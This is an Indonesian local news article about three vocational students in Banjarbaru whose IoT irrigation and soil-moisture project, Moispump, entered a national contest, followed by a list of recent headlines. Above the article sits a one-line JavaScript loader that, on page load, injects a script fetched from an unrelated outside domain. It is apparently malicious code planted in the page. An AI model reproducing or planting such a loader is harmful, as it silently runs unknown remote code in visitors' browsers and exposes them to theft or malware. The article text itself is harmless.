(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

SMK Telkom Banjarbaru Ciptakan Pengairan Otomatis Berbasis Teknologi Internet


KANALKALIMANTAN.COM, BANJARBARU – Dimasa pandemi seperti sekarang banyak orang memilih berdiam diri, namun hal tersebut tidak berlaku bagi trio skatel ini. Mereka membuat sebuah proyek bernama “MOISPUMP” yang mengharumkan nama Kalimantan Selatan dengan menggeser ratusan ide pelajar Indonesia lainnya dalam ajang Nasional SMK DigiSocial Fest 2020.

Moispump merupakan sebuah proyek kreatif dan inovatif yang dibuat Tim Alta Faust Carita SMK Telkom Banjarbaru, yang beranggotakan tiga orang siswa Teknik Komputer Jaringan (TKJ), di antaranya yaitu Rahmasari Anggi Wibisono, Muhammad Fitrian Rasyid, Aulia Kevin Pramudya dan 1 Guru pembimbing Valerian Ezra Vyanza, S.T untuk mengikuti ajang Nasional SMK DigiSocial Fest 2020.

“Ide awal pembuatan Moispump ini karena melihat penurunan komoditi sayuran didaerah Kalimantan Selatan dalam beberapa tahun belakangan akibat kekeringan air. oleh sebab itu, saya dan tim terpikir untuk membuat sebuah sistem pengaliran air secara otomatis yang berkelanjutan dan berbasis teknologi Internet of Things. Dalam perjalanannya sistem inilah yang nantinya disebut dengan Moispump,” kata Rahmasari Anggi Wibisono.

Moispump adalah sebuah alat yang digunakan untuk pengairan dan monitoring kadar air dalam tanah pada perkebunan atau pertanian, yang dapat dikendalikan dari jarak jauh dan dapat di akses melalui website ataupun smartphone. Dengan Moispump petani atau pemilik lahan dapat melakukan pengairan secara manual ataupun otomatis.

Valerian Ezra Vyanza, S.T, selaku Pembimbing Tim Alta Faust Carita sekaligus Ketua Prodi TKJ mengatakan, penelitian untuk Moispump ini dilakukan dalam 2 tahap, yaitu uji skala laboratorium dan uji skala lapangan.

“Dari hasil penelitian ditemukan korelasi antara debit air dan kadar air dalam tanah dengan model matematis. Dengan model ini, Moispump dapat menentukan debit air yang diperlukan dalam suatu lahan untuk mendapatkan presentase kadar tanah yang diinginkan, secara sederhananya Moispump dapat menentukan kadar air berdasarkan debit air secara otomatis,” ujarnya.

Ia berharap, Moispump dapat mengurangi tingkat kekeringan lahan dan meningkatkan tingkat panen di Provinsi Kalimantan Selatan dan juga bisa menjadi juara dalam ajang Nasional SMK DigiSocial Fest 2020. (Kanalkalimantan/Tius)

 

Reporter : Tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Tugu Adipura Banjarbaru Layak Dipasang APILL, Tunggu Rekomendasi Resmi BPTD dan BPJN

KANALKALIMANTAN.COM, BANJARBARU - Ruas kawasan Tugu Adipura di Jalan Ahmad Yani Kota Banjarbaru, Kalimantan Selatan… Read More

8 jam ago

Kumpulkan Caleg Terpilih dan Pengurus DPD, PAN Kalsel ‘Panaskan Mesin’ Hadapi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN)… Read More

10 jam ago

Silaturahmi Camat Lurah RT RW, Paman Birin Cerita Pernah Jadi Lurah dan Sekcam

KANALKALIMANTAN.COM, BANJARMASIN - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor bercerita perjalanan karirnya sebelum menjadi… Read More

13 jam ago

APILL Terpasang di Samsat Banjarbaru, Dua Jalan Jadi Perempatan

DPUPR Banjarbaru akan Bongkar Median Sepanjang 35 Meter Read More

13 jam ago

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

16 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

18 jam ago

This website uses cookies.